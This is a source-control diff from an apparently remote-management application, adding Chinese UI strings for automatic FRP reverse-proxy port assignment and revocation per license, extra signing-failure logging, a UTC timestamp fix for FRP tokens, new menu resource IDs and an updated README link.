; --- 主对话框:检测到 [settings] FrpConfig 被外部模块写入的热切换提示 ---
|
||||
[FRP] 已启用上级 FRP 反向代理(远程端口 %d),已生效=[FRP] 已啟用上級 FRP 反向代理(遠端連接埠 %d),已生效
|
||||
[FRP] 收到无效的 FRP 配置: %s=[FRP] 收到無效的 FRP 配置: %s
|
||||
[FRP] 上级已撤销 FRP 反向代理配置,已停止 FRPC=[FRP] 上級已撤銷 FRP 反向代理配置,已停止 FRPC
|
||||
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d),已生效=[FRP] 上級 FRP 反向代理配置已切換(遠端連接埠 %d → %d),已生效
|
||||
[FRP] 收到无效的新 FRP 配置: %s,已停止旧 FRPC=[FRP] 收到無效的新 FRP 配置: %s,已停止舊 FRPC
|
||||
|
||||
; --- 授权管理:右键菜单"自动FRP" ---
|
||||
自动FRP(&F)...=自動FRP(&F)...
|
||||
|
||||
; --- 授权管理 → 自动FRP 对话框相关 ---
|
||||
请先在 扩展 → 下级 FRP 代理设置 中启用并配置 FRPS 服务器地址、端口与 Token,然后再使用此功能。=請先在 擴充 → 下級 FRP 代理設定 中啟用並設定 FRPS 伺服器位址、連接埠與 Token,然後再使用此功能。
|
||||
未配置 FRPS=未設定 FRPS
|
||||
该授权已分配 FRPC 远程端口 %d,是否覆盖并重新设置?=該授權已分配 FRPC 遠端連接埠 %d,是否覆蓋並重新設定?
|
||||
覆盖 FRPC 配置=覆蓋 FRPC 設定
|
||||
FRPS 端口范围已满,无法自动分配,请扩大「下级 FRP 代理设置」中的端口范围。=FRPS 連接埠範圍已滿,無法自動分配,請擴大「下級 FRP 代理設定」中的連接埠範圍。
|
||||
端口已满=連接埠已滿
|
||||
自动 FRP - %s=自動 FRP - %s
|
||||
FRPC 远程端口 (1024-65535):=FRPC 遠端連接埠 (1024-65535):
|
||||
端口 %d 已被序列号 %s 占用,请选择其它端口。=連接埠 %d 已被序列號 %s 佔用,請選擇其他連接埠。
|
||||
端口冲突=連接埠衝突
|
||||
生成 FRP 配置失败=產生 FRP 配置失敗
|
||||
已为授权 %s 配置 FRPC 远程端口 %d。\n\n下级上线时将自动接收 FRP 配置并启用反向代理。=已為授權 %s 設定 FRPC 遠端連接埠 %d。\n\n下級上線時將自動接收 FRP 配置並啟用反向代理。
|
||||
配置成功=設定成功
|
||||
; --- 授权管理:右键菜单"撤销FRP" + 对话框 ---
|
||||
撤销FRP(&U)=撤銷FRP(&U)
|
||||
确定撤销授权 %s 的 FRP 配置吗?\n\n远程端口 %d 将被释放,下级下次上线后反向代理失效。=確定撤銷授權 %s 的 FRP 配置嗎?\n\n遠端連接埠 %d 將被釋放,下級下次上線後反向代理失效。
|
||||
撤销 FRP 配置=撤銷 FRP 配置
|
||||
已撤销授权 %s 的 FRP 配置,远程端口 %d 已释放。=已撤銷授權 %s 的 FRP 配置,遠端連接埠 %d 已釋放。
|
||||
撤销成功=撤銷成功
|
||||
无效参数无效参数
|
||||
不支持的位深度,需要24位或32位=不支持的位深度,需要24位或32位
|
||||
未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw=未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw
|
||||
创建AVI文件失败=创建AVI文件失败
|
||||
|
||||
@@ -585,6 +585,7 @@ std::string signPasswordV2(const std::string& deviceId, const std::string& passw
|
||||
// 签名
|
||||
BYTE signature[V2_SIGNATURE_SIZE];
|
||||
if (!SignMessageV2(privateKeyFile, (const BYTE*)payload.c_str(), (int)payload.length(), signature)) {
|
||||
Mprintf("signPasswordV2: SignMessageV2 failed: %s\n", payload.c_str());
|
||||
return "";
|
||||
}
|
||||
|
||||
@@ -640,7 +641,7 @@ std::string signAuthorizationV2(const std::string& license, const std::string& s
|
||||
|
||||
BYTE signature[V2_SIGNATURE_SIZE];
|
||||
if (!SignMessageV2(privateKeyFile, (const BYTE*)payload.c_str(), (int)payload.length(), signature)) {
|
||||
Mprintf("signAuthorizationV2: SignMessageV2 failed\n");
|
||||
Mprintf("signAuthorizationV2: SignMessageV2 failed: %s\n", license.c_str());
|
||||
return "";
|
||||
}
|
||||
|
||||
@@ -709,7 +710,10 @@ bool IsFrpTokenEncoded(const std::string& privilegeKey)
|
||||
return privilegeKey.length() >= 4 && privilegeKey.substr(0, 4) == "ENC:";
|
||||
}
|
||||
|
||||
// 日期字符串转 Unix 时间戳(当天 23:59:59 本地时间)
|
||||
// 日期字符串转 Unix 时间戳(当天 23:59:59 UTC)。
|
||||
// 必须使用 UTC(_mkgmtime)而非本地时间(mktime)—— privilegeKey 由上级生成、
|
||||
// 下级二次计算后发给 frps 校验,若两端时区不同,mktime 会返回不同的 UTC 时间戳,
|
||||
// 导致 MD5 不匹配,frps 报 "token in login doesn't match token from configuration"。
|
||||
time_t FrpDateToTimestamp(const std::string& dateStr)
|
||||
{
|
||||
if (dateStr.length() != 8) return 0;
|
||||
@@ -721,7 +725,7 @@ time_t FrpDateToTimestamp(const std::string& dateStr)
|
||||
t.tm_hour = 23;
|
||||
t.tm_min = 59;
|
||||
t.tm_sec = 59;
|
||||
return mktime(&t);
|
||||
return _mkgmtime(&t);
|
||||
} catch (...) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -983,6 +983,8 @@
|
||||
#define ID_33048 33048
|
||||
#define ID_SCREENPREVIEW_LOOP 33049
|
||||
#define ID_PARAM_THUMBNAIL_PREVIEW 33050
|
||||
#define ID_LICENSE_AUTO_FRP 33051
|
||||
#define ID_LICENSE_REVOKE_FRP 33052
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
|
||||
// Next default values for new objects
|
||||
@@ -990,7 +992,7 @@
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 386
|
||||
#define _APS_NEXT_COMMAND_VALUE 33051
|
||||
#define _APS_NEXT_COMMAND_VALUE 33053
|
||||
#define _APS_NEXT_CONTROL_VALUE 2542
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
#endif
|
||||
|
||||
@@ -209,7 +209,7 @@ openssl genrsa -out license_priv.pem 2048
|
||||
openssl rsa -in license_priv.pem -pubout -out license_pub.pem
|
||||
```
|
||||
|
||||
底层 API 是 `licensing.Issue(privKey, sub, tier, maxDevices, ttl)`(见 [`licensing/server.go`](licensing/server.go))。一个开箱即用的 CLI 包装在独立仓库 [`yama-issue-token`](https://github.com/yuanyuanxiang/yama-issue-token)(go.mod `replace` 指向本仓库的 `licensing` 包),用法:
|
||||
底层 API 是 `licensing.Issue(privKey, sub, tier, maxDevices, ttl)`(见 [`licensing/server.go`](licensing/server.go))。一个开箱即用的 CLI 包装在独立仓库 [`yama-issue-token`](https://git.simpleremoter.com/yuanyuanxiang/yama-issue-token)(go.mod `replace` 指向本仓库的 `licensing` 包),用法:
|
||||
|
||||
```bash
|
||||
yama-issue-token -priv license_priv.pem -sub acme-corp -tier paid -max 100 -days 365
|
||||
|
||||
Reference in New Issue
Block a user